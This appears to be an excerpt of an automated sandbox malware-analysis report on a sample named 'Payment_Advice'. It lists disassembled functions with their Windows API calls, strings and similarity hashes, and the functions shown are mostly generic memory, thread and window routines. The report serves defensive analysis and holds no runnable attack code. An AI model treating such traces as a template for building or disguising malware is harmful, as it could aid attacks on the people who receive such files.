Part of subcall function 0040DAC0: GetLastError.KERNEL32 ref: 0040DAC6
Part of subcall function 0040DAC0: TlsGetValue.KERNEL32(0000000E), ref: 0040DAD5
Part of subcall function 0040DAC0: SetLastError.KERNEL32(?), ref: 0040DAEB

Part of subcall function 0040DB00: TlsGetValue.KERNEL32(0000000E), ref: 0040DB0C
Part of subcall function 0040DB00: RtlAllocateHeap.NTDLL(03410000,00000000,?), ref: 0040DB39

GetSystemDirectoryW.KERNEL32(00000000,00000800), ref: 004035F3
PathAddBackslashW.SHLWAPI(00000000,00000000,00000000,?,00000000,00000000), ref: 004035FC

Strings

sysnative, xrefs: 004034AD, 004034B2

Memory Dump Source

Source File: 00000002.00000002.1469746162.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Payment_Advice.jbxd

Similarity

API ID: BackslashPath$Directory$AllocateErrorHeapLastSystemValue$Windows
String ID: sysnative
API String ID: 3406704365-821172135
Opcode ID: e3b826f6699c9025632e7203f33aefa29e5d8351d3247abac65243d099ba1b72
Instruction ID: d4425b2f06f1909e048ad8278635bd2b3a0af93032fa13b78a94668e4e3fc597
Opcode Fuzzy Hash: e3b826f6699c9025632e7203f33aefa29e5d8351d3247abac65243d099ba1b72
Instruction Fuzzy Hash: 33513275618301BAD600BBB1CC86F2F7AA9DFC4718F14C83EB045751D2CA7CD949AA6E

Uniqueness

Uniqueness Score: -1.00%

Function 0040D683 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 53librarysleeploaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Kernel32.dll), ref: 0040D691
GetProcAddress.KERNEL32(00000000,InitOnceExecuteOnce), ref: 0040D6A6
FreeLibrary.KERNEL32(00000000), ref: 0040D6C1
InterlockedCompareExchange.KERNEL32(?,00000001,00000000), ref: 0040D6D0
Sleep.KERNEL32(00000000), ref: 0040D6E2
InterlockedExchange.KERNEL32(?,00000002), ref: 0040D6F5

Strings

InitOnceExecuteOnce, xrefs: 0040D6A0
Kernel32.dll, xrefs: 0040D68A

Memory Dump Source

Source File: 00000002.00000002.1469746162.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Payment_Advice.jbxd

Similarity

API ID: ExchangeInterlockedLibrary$AddressCompareFreeLoadProcSleep
String ID: InitOnceExecuteOnce$Kernel32.dll
API String ID: 2918862794-1339284965
Opcode ID: 41b54250eae642625e703921e8a958d907d6cad9eca91794897e3b8843e46bfc
Instruction ID: abb353811933e5e0c01fdc05904e278036aeff3206fed199cedc2971c8720e75
Opcode Fuzzy Hash: 41b54250eae642625e703921e8a958d907d6cad9eca91794897e3b8843e46bfc
Instruction Fuzzy Hash: 7D01D431640204BBD7101FE4ED49FAF3B29EB42711F11483AF509A11C0DBBA8909CA6E

Uniqueness

Uniqueness Score: -1.00%

Function 00409147 Relevance: 12.0, APIs: 8, Instructions: 50threadwindowCOMMON

Download Yara Rule

APIs

GetWindowThreadProcessId.USER32(?,00000000), ref: 00409151
GetCurrentThreadId.KERNEL32 ref: 0040915F
IsWindowVisible.USER32(?), ref: 00409166

Part of subcall function 0040D7B2: RtlAllocateHeap.NTDLL(00000008,00000000,0040D02C), ref: 0040D7BE

GetCurrentThreadId.KERNEL32 ref: 00409183
GetWindowLongW.USER32(?,000000EC), ref: 00409190
GetForegroundWindow.USER32 ref: 0040919E
IsWindowEnabled.USER32(?), ref: 004091A9
EnableWindow.USER32(?,00000000), ref: 004091B9

Memory Dump Source

Source File: 00000002.00000002.1469746162.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Payment_Advice.jbxd

Similarity

API ID: Window$Thread$Current$AllocateEnableEnabledForegroundHeapLongProcessVisible
String ID:
API String ID: 684997728-0
Opcode ID: 1e5e3ab6f795d1081319b8141dacc3ba20eef2c070a75b8bad31eb9fa4f2ad39
Instruction ID: 31eda471f1cb499a369295ecb2023523c5ccaadffeb814b028fd5651457c72f2
Opcode Fuzzy Hash: 1e5e3ab6f795d1081319b8141dacc3ba20eef2c070a75b8bad31eb9fa4f2ad39
Instruction Fuzzy Hash: C001D4313043016EE7206B75AC8CAABBBE9AF45760B09803EF445E22E5D774CC01C629

Uniqueness

Uniqueness Score: -1.00%

Function 004091C8 Relevance: 9.1, APIs: 6, Instructions: 68threadCOMMON

Download Yara Rule

APIs

EnumWindows.USER32(00409147,?), ref: 004091DB
GetCurrentThreadId.KERNEL32 ref: 004091F3
SetWindowPos.USER32(?,000000FE,00000000,00000000,00000000,00000000,00000003,?,?,?,00408F50,00000000,00408B2A), ref: 0040920F
GetCurrentThreadId.KERNEL32 ref: 0040922F
EnableWindow.USER32(?,00000001), ref: 00409245
SetWindowPos.USER32(?,000000FF,00000000,00000000,00000000,00000000,00000003,?,?,?,?,00408F50,00000000,00408B2A), ref: 0040925C

Memory Dump Source

Source File: 00000002.00000002.1469746162.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Payment_Advice.jbxd

Similarity

API ID: Window$CurrentThread$EnableEnumWindows
String ID:
API String ID: 2527101397-0
Opcode ID: 459104275141b0c715442643ba30dab32395702e9f7f189deadac9fa7278c8c8
Instruction ID: d7320be81d177d1dafbd7ad4d3aa491d2180030fb93e63f46d4512a3211b406d
Opcode Fuzzy Hash: 459104275141b0c715442643ba30dab32395702e9f7f189deadac9fa7278c8c8
Instruction Fuzzy Hash: DA11CD31108741BBDB314F56EC48F53BFA9EB81B10F118ABEF065221E1C7749C04C618

Uniqueness

Uniqueness Score: -1.00%

Function 0040CF93 Relevance: 9.1, APIs: 6, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

TlsAlloc.KERNEL32(?,?,?,?,004092B4,00000010,00000000,00000000,00401071,00000000,00001000,00000000,00000000), ref: 0040CFB8
RtlAllocateHeap.NTDLL(00000008,00000000), ref: 0040CFCC
TlsSetValue.KERNEL32(00000000,?,?,?,?,004092B4,00000010,00000000,00000000,00401071,00000000,00001000,00000000,00000000), ref: 0040CFD9
TlsGetValue.KERNEL32(00000010,?,?,?,?,004092B4,00000010,00000000,00000000,00401071,00000000,00001000,00000000,00000000), ref: 0040CFF0
RtlReAllocateHeap.NTDLL(00000008,00000000), ref: 0040CFFF
TlsSetValue.KERNEL32(00000000,?,?,?,?,004092B4,00000010,00000000,00000000,00401071,00000000,00001000,00000000,00000000), ref: 0040D00E

Memory Dump Source

Source File: 00000002.00000002.1469746162.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Payment_Advice.jbxd

Similarity

API ID: Value$AllocateHeap$Alloc
String ID:
API String ID: 2511646910-0
Opcode ID: f8d4ac58cec971f74a9cdcc41d0ae8b1470346a7d61edf378338f4034cbf9928
Instruction ID: e522f20ebd739161ea3b186ba5f08d5ad4d1c0e942c2e649f6f8b5b45fa9f158
Opcode Fuzzy Hash: f8d4ac58cec971f74a9cdcc41d0ae8b1470346a7d61edf378338f4034cbf9928
Instruction Fuzzy Hash: 0E115172644311BFD7109F65EC44EA6BBBAFB48750B05803AF904D73A0DB75D8048A98

Uniqueness

Uniqueness Score: -1.00%

Function 00411984 Relevance: 9.0, APIs: 6, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

UnregisterWait.KERNEL32(?), ref: 0041198E
CloseHandle.KERNEL32(?), ref: 00411997
RtlEnterCriticalSection.NTDLL(00417660), ref: 004119A3
RtlLeaveCriticalSection.NTDLL(00417660), ref: 004119C8
HeapFree.KERNEL32(00000000,?), ref: 004119E6
HeapFree.KERNEL32(?,?), ref: 004119F8

Memory Dump Source

Source File: 00000002.00000002.1469746162.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Payment_Advice.jbxd

Similarity

API ID: CriticalFreeHeapSection$CloseEnterHandleLeaveUnregisterWait
String ID:
API String ID: 4204870694-0
Opcode ID: b15370ecc5d11d915fbc3e1ce94f3eb57d9f5ff0b77fa269a9f14ba5a6eba08a
Instruction ID: eb1efa575c7a1193ad789bfe2817c469877bfdc7e410445902cedd1c0dbf730b
Opcode Fuzzy Hash: b15370ecc5d11d915fbc3e1ce94f3eb57d9f5ff0b77fa269a9f14ba5a6eba08a
Instruction Fuzzy Hash: E60117B4202602AFC7148F15EC88EAABF79FF493117118139E62A86620C731E851CB9C

Uniqueness

Uniqueness Score: -1.00%

Function 0040554D Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29libraryloaderCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040555C
GetModuleHandleW.KERNEL32(ntdll.dll,?,?,00000000), ref: 0040556B
GetProcAddress.KERNEL32(00000000,RtlGetVersion), ref: 0040557B

Strings

RtlGetVersion, xrefs: 00405575
ntdll.dll, xrefs: 00405566

Memory Dump Source

Source File: 00000002.00000002.1469746162.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Payment_Advice.jbxd

Similarity

API ID: AddressHandleModuleProcmemset
String ID: RtlGetVersion$ntdll.dll
API String ID: 3137504439-1489217083
Opcode ID: 7c8b8c6c6b7fc7594bb483547fa99cc840af9721d0a9f5de1a7f0785217d556d
Instruction ID: 4c3a86b3ef4fb80ccf96d51786c1ad7f8faddb0dd8553e640a4690cba62d6515
Opcode Fuzzy Hash: 7c8b8c6c6b7fc7594bb483547fa99cc840af9721d0a9f5de1a7f0785217d556d
Instruction Fuzzy Hash: 2CE0D8317505113AD6205B316C05FEB3A9DCFC9704B110536B545F21C4D678C5018ABD

Uniqueness

Uniqueness Score: -1.00%

Function 0040548C Relevance: 7.6, APIs: 5, Instructions: 60synchronizationthreadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00001000,00000000,00000000,00000000,?), ref: 004054A5
RtlEnterCriticalSection.NTDLL(00417680), ref: 004054B7
WaitForSingleObject.KERNEL32(00000008,00000000,00000000,?,?,?,?,00403140,00000000,00000000,00000000,0000000A,00000001,00000000,00000000,00000000), ref: 004054CE
CloseHandle.KERNEL32(00000008,?,?,?,?,00403140,00000000,00000000,00000000,0000000A,00000001,00000000,00000000,00000000,00000000,00000000), ref: 004054DA

Part of subcall function 0040D772: HeapFree.KERNEL32(00000000,?,0040926D,004170C4,00000008,?,?,?,?,00408F50,00000000,00408B2A), ref: 0040D7AB

RtlLeaveCriticalSection.NTDLL(00417680), ref: 0040551D

Memory Dump Source

Source File: 00000002.00000002.1469746162.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Payment_Advice.jbxd

Similarity

API ID: CriticalSection$CloseCreateEnterFreeHandleHeapLeaveObjectSingleThreadWait
String ID:
API String ID: 3708593966-0
Opcode ID: f9fc4f274073ef879c89f055458ad22c593e0fdcee0f3c8d66018c8da72653c2
Instruction ID: 79bf3139b6f1ab76d1202ff17a489f7276a24f81600fa3e90aae253bd74edf71
Opcode Fuzzy Hash: f9fc4f274073ef879c89f055458ad22c593e0fdcee0f3c8d66018c8da72653c2
Instruction Fuzzy Hash: CF11C232544711AFD7105F68EC44FD7BBB8EF45761722803AF804972A1DB75E8808BAC

Uniqueness

Uniqueness Score: -1.00%

Function 0040D586 Relevance: 7.6, APIs: 5, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

RtlEnterCriticalSection.NTDLL(004175FC), ref: 0040D59A
RtlLeaveCriticalSection.NTDLL(004175FC), ref: 0040D5EF

Part of subcall function 0040D586: HeapFree.KERNEL32(00000000,?,?,00409B28,?,00000200,?,?,00409A2F,00000200,?,?,?,004010C3,00000004,00000015), ref: 0040D5E8

RtlDeleteCriticalSection.NTDLL(00000020), ref: 0040D608
HeapFree.KERNEL32(00000000,00000000,00000000,00000000,?,00409B28,?,00000200,?,?,00409A2F,00000200,?,?,?,004010C3), ref: 0040D617

Memory Dump Source

Source File: 00000002.00000002.1469746162.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Payment_Advice.jbxd

Similarity

API ID: CriticalSection$FreeHeap$DeleteEnterLeave
String ID:
API String ID: 3171405041-0
Opcode ID: 83fa752a7cac786abdb8633e5ae663743960f93593eff6c1d174bce996cff11c
Instruction ID: 3d4c950c7840245ecf787318483d856215c0b9662098a14833ae3b93709eff97
Opcode Fuzzy Hash: 83fa752a7cac786abdb8633e5ae663743960f93593eff6c1d174bce996cff11c
Instruction Fuzzy Hash: CE110435501602AFC7249F55EC48F97BBB9EB48305F12843AA816A26A1CB35E845CB98

Uniqueness

Uniqueness Score: -1.00%

Function 004092D8 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 0040DEA0: TlsGetValue.KERNEL32(0000000E), ref: 0040DEAC
Part of subcall function 0040DEA0: RtlReAllocateHeap.NTDLL(03410000,00000000,00000000,?), ref: 0040DF07

GetModuleFileNameW.KERNEL32(00000000,00000104,00000104,00000000,?,?,?,00401991,00000000,00000000,00000000,00000002,00000000,00000000,00000000,00000000), ref: 004092F4
wcscmp.MSVCRT ref: 00409302
memmove.MSVCRT ref: 0040931A

Strings

\\?\, xrefs: 004092FA, 00409314

Memory Dump Source

Source File: 00000002.00000002.1469746162.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Payment_Advice.jbxd

Similarity

API ID: AllocateFileHeapModuleNameValuememmovewcscmp
String ID: \\?\
API String ID: 2309408642-4282027825
Opcode ID: fd930755749ed3d2be605ff4be820197e70570634f0ba2bf411523a77f39549e
Instruction ID: d1022656d2e26dd14f3e25edef1fec080478658712660f720d71a31c09dbf965
Opcode Fuzzy Hash: fd930755749ed3d2be605ff4be820197e70570634f0ba2bf411523a77f39549e
Instruction Fuzzy Hash: 8CF0E2B35006017AC20067BAEC85CAB7B6CEF95370780023FF515D20D6EA38D81486A8

Uniqueness

Uniqueness Score: -1.00%

Function 0040AE76 Relevance: 6.3, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040AF17
memset.MSVCRT ref: 0040AF20
memset.MSVCRT ref: 0040AF29
memset.MSVCRT ref: 0040AF36
memset.MSVCRT ref: 0040AF42

Part of subcall function 0040C276: memcpy.MSVCRT ref: 0040C2D0
Part of subcall function 0040C276: memcpy.MSVCRT ref: 0040C31F

Memory Dump Source

Source File: 00000002.00000002.1469746162.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Payment_Advice.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: 77a43cbbb6266ba10a119da92b1386f508399576c8cf03208af1230622900171
Instruction ID: ff3a12849f14474e25052ccd38566c33d2c186ec74ba694f67bf1beed8dc7c58
Opcode Fuzzy Hash: 77a43cbbb6266ba10a119da92b1386f508399576c8cf03208af1230622900171
Instruction Fuzzy Hash: 89212531B907086BE524AA29DC86F9F738CDB86708F50063EF201FA1C1D67DE54547AE

Uniqueness

Uniqueness Score: -1.00%

Function 00405B40 Relevance: 6.2, APIs: 4, Instructions: 167memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?), ref: 00405C0A
wcsncpy.MSVCRT ref: 00405C60

Memory Dump Source

Source File: 00000002.00000002.1469746162.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Payment_Advice.jbxd

Similarity

API ID: AllocateHeapwcsncpy
String ID:
API String ID: 1358295784-0
Opcode ID: dbefc154c3fd0c86216f953ee4b31303624e33edbc8c1b27b50f459021298698
Instruction ID: c1c3d513005c3c241562a142b51836119b7241697b797653b2b83cf70e1dc3f7
Opcode Fuzzy Hash: dbefc154c3fd0c86216f953ee4b31303624e33edbc8c1b27b50f459021298698
Instruction Fuzzy Hash: DF51C030508B069BDB209F28D844A6B77F4FF84348F544A2EFC45A72D0E779E905CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 0040D1BF Relevance: 6.1, APIs: 4, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

RtlEnterCriticalSection.NTDLL(?), ref: 0040D1D3
RtlAllocateHeap.NTDLL(00000000,?), ref: 0040D288
RtlAllocateHeap.NTDLL(00000000,?), ref: 0040D2AB
RtlLeaveCriticalSection.NTDLL(?), ref: 0040D303

Memory Dump Source

Source File: 00000002.00000002.1469746162.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Payment_Advice.jbxd

Similarity

API ID: AllocateCriticalHeapSection$EnterLeave
String ID:
API String ID: 3625150316-0
Opcode ID: c10679976362d654b585f1ec8b68fb6b9a3b4e8ac0eceb1a9ed7d32880a1cb5b
Instruction ID: a17e627e050f24daf4e0fc7d3c0e54bac809a59e300a572b9792337043ee6586
Opcode Fuzzy Hash: c10679976362d654b585f1ec8b68fb6b9a3b4e8ac0eceb1a9ed7d32880a1cb5b
Instruction Fuzzy Hash: B951E470A01B029FC728CFA9D580926B7F4FF587103158A7EE89AD7A50D334F959CB98

Uniqueness

Uniqueness Score: -1.00%

Function 004062B0 Relevance: 6.1, APIs: 4, Instructions: 90COMMON

Download Yara Rule

APIs

CharLowerW.USER32 ref: 004062D6
CharLowerW.USER32(00000000), ref: 00406310
CharLowerW.USER32(?), ref: 0040633F
CharLowerW.USER32(?), ref: 00406345

Memory Dump Source

Source File: 00000002.00000002.1469746162.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Payment_Advice.jbxd

Similarity

API ID: CharLower
String ID:
API String ID: 1615517891-0
Opcode ID: 7e3cda2dc92e76a3f7f6f8fc87e0455d9eabfe1fe7eb39cd3677ec52a9aeb089
Instruction ID: d067756844b34a6404b07e6cf1397282c6a25047d21fa5d7bde466b1de65efe4
Opcode Fuzzy Hash: 7e3cda2dc92e76a3f7f6f8fc87e0455d9eabfe1fe7eb39cd3677ec52a9aeb089
Instruction Fuzzy Hash: E42146756043058BC720EF5998405BBB7E4EB80760F86447AFC86A3380D638EE159BE9

Uniqueness

Uniqueness Score: -1.00%

Function 00409C83 Relevance: 6.1, APIs: 4, Instructions: 80memoryCOMMON

Download Yara Rule

APIs

wcslen.MSVCRT ref: 00409CEB
RtlAllocateHeap.NTDLL(00000000,00000000,00000000), ref: 00409D01
wcscpy.MSVCRT ref: 00409D0C
memset.MSVCRT ref: 00409D3A

Memory Dump Source

Source File: 00000002.00000002.1469746162.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Payment_Advice.jbxd

Similarity

API ID: AllocateHeapmemsetwcscpywcslen
String ID:
API String ID: 2037025450-0
Opcode ID: a20fb1cacd0096f501daf125df341b11e239634ed8c318d74144b3a8a3b1d6da
Instruction ID: 3306218dfe6fd6935e1b76e0e8dc860d4400add17917e302399b454d6a157e83
Opcode Fuzzy Hash: a20fb1cacd0096f501daf125df341b11e239634ed8c318d74144b3a8a3b1d6da
Instruction Fuzzy Hash: A121F472504701AFD721AF65D840B6BB7E9EF88314F14892FF64562692CB39EC048B18

Uniqueness

Uniqueness Score: -1.00%

Function 00409A20 Relevance: 6.1, APIs: 4, Instructions: 73memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00409B0F: HeapFree.KERNEL32(00000000,?,?,00000200,?,?,00409A2F,00000200,?,?,?,004010C3,00000004,00000015,00000000,00000200), ref: 00409B3A
Part of subcall function 00409B0F: HeapFree.KERNEL32(00000000,?,?,?,00409A2F,00000200,?,?,?,004010C3,00000004,00000015,00000000,00000200,00000200,FFFFFFF5), ref: 00409B46
Part of subcall function 00409B0F: HeapFree.KERNEL32(00000000,?,?,?,?,00409A2F,00000200,?,?,?,004010C3,00000004,00000015,00000000,00000200,00000200), ref: 00409B5A
Part of subcall function 00409B0F: HeapFree.KERNEL32(00000000,00000000,?,?,00409A2F,00000200,?,?,?,004010C3,00000004,00000015,00000000,00000200,00000200,FFFFFFF5), ref: 00409B70

RtlAllocateHeap.NTDLL(00000000,0000003C,00000200), ref: 00409A3F
RtlAllocateHeap.NTDLL(00000008,00000015), ref: 00409A65
RtlAllocateHeap.NTDLL(00000008,FFFFFFED,FFFFFFED), ref: 00409AC2
HeapFree.KERNEL32(00000000,00000000,?,?,?,?,004010C3,00000004,00000015,00000000,00000200,00000200,FFFFFFF5,00000000,00001000,00000000), ref: 00409ADC

Memory Dump Source

Source File: 00000002.00000002.1469746162.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Payment_Advice.jbxd

Similarity

API ID: Heap$Free$Allocate
String ID:
API String ID: 3472947110-0
Opcode ID: 8d405e1b173177ea89790586d235f10fc7f712f384bf1d367d23111c52829df9
Instruction ID: 4b0fe6378f6027ada2d8db74ddc61b51f9462678ded80081bad5b8da7f184a0e
Opcode Fuzzy Hash: 8d405e1b173177ea89790586d235f10fc7f712f384bf1d367d23111c52829df9
Instruction Fuzzy Hash: 11213A71701616ABD7109F2AEC41B56BFE8FF48710F51822AF608E76A1D771E821CF98

Uniqueness

Uniqueness Score: -1.00%

Function 0040DD70 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

wcslen.MSVCRT ref: 0040DD85
RtlAllocateHeap.NTDLL(03410000,00000000,0000000A), ref: 0040DDA9
RtlReAllocateHeap.NTDLL(03410000,00000000,00000000,0000000A), ref: 0040DDCD
HeapFree.KERNEL32(03410000,00000000), ref: 0040DE04

Memory Dump Source

Source File: 00000002.00000002.1469746162.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Payment_Advice.jbxd

Similarity

API ID: Heap$Allocate$Freewcslen
String ID:
API String ID: 584413571-0
Opcode ID: e9c6a98fdd6d39e9826194df6834ea9e2ef42813dacce9c02a3e8dca4dd637a1
Instruction ID: ec588af85dbfb1d608d0e9eea2fe4ccce556658423514a2897da8941eef92b66
Opcode Fuzzy Hash: e9c6a98fdd6d39e9826194df6834ea9e2ef42813dacce9c02a3e8dca4dd637a1
Instruction Fuzzy Hash: 1F211574604209EFCB15CF94D884FAABBB9FF49314F108169F9099B384D734EA41CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00411B20 Relevance: 6.1, APIs: 4, Instructions: 60COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,-00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,0040CCF8,00000000), ref: 00411B54
malloc.MSVCRT ref: 00411B64
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,-00000001,00000000,00000000,00000000,00000000,00000000), ref: 00411B81
malloc.MSVCRT ref: 00411B96

Memory Dump Source

Source File: 00000002.00000002.1469746162.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Payment_Advice.jbxd

Similarity

API ID: ByteCharMultiWidemalloc
String ID:
API String ID: 2735977093-0
Opcode ID: cd29b8decd3b02952837749b88a0da1641af8608c001b95d219bbc5f6800fa44
Instruction ID: 6564459d5a016f80208b608040e38cd36fd424a6541425da5bf10ca2b0b8713f
Opcode Fuzzy Hash: cd29b8decd3b02952837749b88a0da1641af8608c001b95d219bbc5f6800fa44
Instruction Fuzzy Hash: 180164B734030537E3206655AC42FF7770DCBC1B99F19407AFB005E2C1E6ABA9028679

Uniqueness

Uniqueness Score: -1.00%

Function 00411BC0 Relevance: 6.1, APIs: 4, Instructions: 60COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000), ref: 00411BF1
malloc.MSVCRT ref: 00411C01
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000), ref: 00411C1B
malloc.MSVCRT ref: 00411C30

Memory Dump Source

Source File: 00000002.00000002.1469746162.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Payment_Advice.jbxd

Similarity

API ID: ByteCharMultiWidemalloc
String ID:
API String ID: 2735977093-0
Opcode ID: 5cf4b8a5cf85d4fe393516ff7cde79f9285f418483ef15bf1e3af7dcf68b9e2c
Instruction ID: e896c43596a717bc1e2b0c4b1148b765e438402798fd5a355992862dcf698edd
Opcode Fuzzy Hash: 5cf4b8a5cf85d4fe393516ff7cde79f9285f418483ef15bf1e3af7dcf68b9e2c
Instruction Fuzzy Hash: F401247B38031137E3205755AC42FA7774DCBC5B99F19447AFB016E2C0EAA7A9018AB8

Uniqueness

Uniqueness Score: -1.00%

Function 0040D0D8 Relevance: 6.1, APIs: 4, Instructions: 56memoryCOMMON

Download Yara Rule

APIs

RtlEnterCriticalSection.NTDLL(00000020), ref: 0040D0E3
RtlReAllocateHeap.NTDLL(00000008,?,?), ref: 0040D123
RtlLeaveCriticalSection.NTDLL(00000020), ref: 0040D15E

Part of subcall function 0040D7B2: RtlAllocateHeap.NTDLL(00000008,00000000,0040D02C), ref: 0040D7BE

Memory Dump Source

Source File: 00000002.00000002.1469746162.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Payment_Advice.jbxd

Similarity

API ID: AllocateCriticalHeapSection$EnterLeave
String ID:
API String ID: 3625150316-0
Opcode ID: 0a53241ca7917863c4c71313c068b37edaf5ef52ee66f23da44513a19d23a86b
Instruction ID: c489c2a9d7d615a57c1fefe1c5f7e248a1051b75451140994bda68c59ab12d69
Opcode Fuzzy Hash: 0a53241ca7917863c4c71313c068b37edaf5ef52ee66f23da44513a19d23a86b
Instruction Fuzzy Hash: 09112B32600601AFC7209F68EC40E56B7E9EB48321B15892EE596E76A0DB35F844CB58

Uniqueness

Uniqueness Score: -1.00%

Function 0040D31D Relevance: 6.0, APIs: 4, Instructions: 44memoryCOMMON

Download Yara Rule

APIs

RtlEnterCriticalSection.NTDLL(00000020), ref: 0040D32F
HeapFree.KERNEL32(00000000,?,?,00000000,00000200,0040D5FE,00000000,00000000,?,00409B28,?,00000200,?,?,00409A2F,00000200), ref: 0040D346
HeapFree.KERNEL32(00000000,?,?,00000000,00000200,0040D5FE,00000000,00000000,?,00409B28,?,00000200,?,?,00409A2F,00000200), ref: 0040D362
RtlLeaveCriticalSection.NTDLL(00000020), ref: 0040D37F

Memory Dump Source

Source File: 00000002.00000002.1469746162.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Payment_Advice.jbxd

Similarity

API ID: CriticalFreeHeapSection$EnterLeave
String ID:
API String ID: 1298188129-0
Opcode ID: d5ac81aa0c71ad19c1c4e0b2d6939d6c54ec4a5825a3dcbcded4acec7e2d012d
Instruction ID: c942d341990db50828fe86b1bb11e7c679014380f0fb6b5d63ada0bd3a9fdac0
Opcode Fuzzy Hash: d5ac81aa0c71ad19c1c4e0b2d6939d6c54ec4a5825a3dcbcded4acec7e2d012d
Instruction Fuzzy Hash: EB012875A0161AEFC7208F95ED0496BBBACFB08750306813AA814A7614C735F825CFA8

Uniqueness

Uniqueness Score: -1.00%

Function 00405430 Relevance: 6.0, APIs: 4, Instructions: 34threadCOMMON

Download Yara Rule

APIs

Part of subcall function 004053E4: RtlEnterCriticalSection.NTDLL(00417680), ref: 004053EF
Part of subcall function 004053E4: RtlLeaveCriticalSection.NTDLL(00417680), ref: 00405422

TerminateThread.KERNEL32(00000000,00000000,00000000,?,?,-0000012C,00401D21,00000000,-0000012C,00402464,00000000,00000001,00000000,00000000,00000000,00000002), ref: 00405440
RtlEnterCriticalSection.NTDLL(00417680), ref: 0040544C
CloseHandle.KERNEL32(-00000008,?,?,-0000012C,00401D21,00000000,-0000012C,00402464,00000000,00000001,00000000,00000000,00000000,00000002,00000000,00000000), ref: 0040546C

Part of subcall function 0040D772: HeapFree.KERNEL32(00000000,?,0040926D,004170C4,00000008,?,?,?,?,00408F50,00000000,00408B2A), ref: 0040D7AB

RtlLeaveCriticalSection.NTDLL(00417680), ref: 00405480

Memory Dump Source

Source File: 00000002.00000002.1469746162.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Payment_Advice.jbxd

Similarity

API ID: CriticalSection$EnterLeave$CloseFreeHandleHeapTerminateThread
String ID:
API String ID: 85618057-0
